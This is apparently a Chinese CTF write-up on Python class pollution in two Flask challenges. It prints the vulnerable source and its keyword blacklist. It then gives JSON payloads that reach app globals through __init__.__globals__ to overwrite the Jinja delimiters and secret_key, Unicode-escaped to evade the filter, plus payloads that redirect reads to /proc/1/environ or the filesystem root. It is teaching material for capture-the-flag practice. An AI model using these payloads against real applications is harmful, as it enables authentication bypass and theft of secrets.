Python原型链污染-题目
西瓜杯-easy polluted
源代码:
app.py
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
#生成一个随机的16字节的md5值作为密钥
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)
return md5_hash.hexdigest()
#黑名单过滤器
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
#纯正的污染函数
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app = Flask(__name__)
app.secret_key = generate_random_md5()
class evil():
def __init__(self):
pass
@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")
@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
<body>
HELLO,CTFER!
</body>
</html>flag.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
<body>
这又是什么jinja语法啊!
[#flag#]
</body>
</html>关注点:
/admin路由下,需要session中的username的键值为adminer,password的键值为app.secret.key
而username和password来自/路由中,POST收到的username和password
1.污染语法标识符 /路由下
{
"__init__":{
"__globals__":{
"app":{
"jinja_env":{
"variable_start_string":"[#",
"variable_end_string":"#]"
}
}
}
}
}由于存在waf,同时merge使用的是json.load(),可以使用unicode编码进行绕过
使用的是hackbar,全部进行unicodezaixuanze application/json会发送失败,这里选择部分编码
{
"5f5f696e69745f5f":{
"5f5f676c6f62616c735f5f":{
"\u0061\u0070\u0070":{
"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{
"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[#",
"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"#]"
}
}
}
}
}
2.污染secrt_key /路由下
{"__init__":{"__globals__":{"app":{"secrte_key":"admin"}}}}unicode编码
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u0073\u0065\u0063\u0072\u0074\u0065\u005f\u006b\u0065\u0079":"123"}}}}3./路由下
JSON传输
{"username":"adminer",
"password":"123"}
4./admin
直接访问/admin即可
[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
#data中要含有username和password两个字段
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
#ssession中的username要等于data中的username
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
方法一:污染读取路径__file__
ctf中大部分flag都隐藏在环境变量中
linux中创建的环境变量有:
/proc/1/environ (本题flag就在这里)
/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.bashrc
/etc/bashrc注:放在proc目录(3,4)下的环境变量配置文件,只会对当前用户起作用;在/etc下的环境变量所有的用户都起作用;
payload:
由于过滤掉了__init__,也可以使用类中方法check代替类中构造方法__init__ ,也可以对__init__进行部分编码绕过
{
"username":"aaa",
"password":"bbb",
"__class__":{
"check":{
"__globals__":{
"__file__" : "/proc/1/environ"
}
}
}
}方法二:修改静态目录位置
payload:
{ "usernmae":"1",
"password":"1",
"__init__":{
"__globals__":{
"app":{
"_static_folder" :"/"
}
}
}
}注意一定要修改content-type为application/json
修改后访问/static/proc/1/environ,但是访问后下载了文件

将后缀修改为.txt即可

License:
CC BY 4.0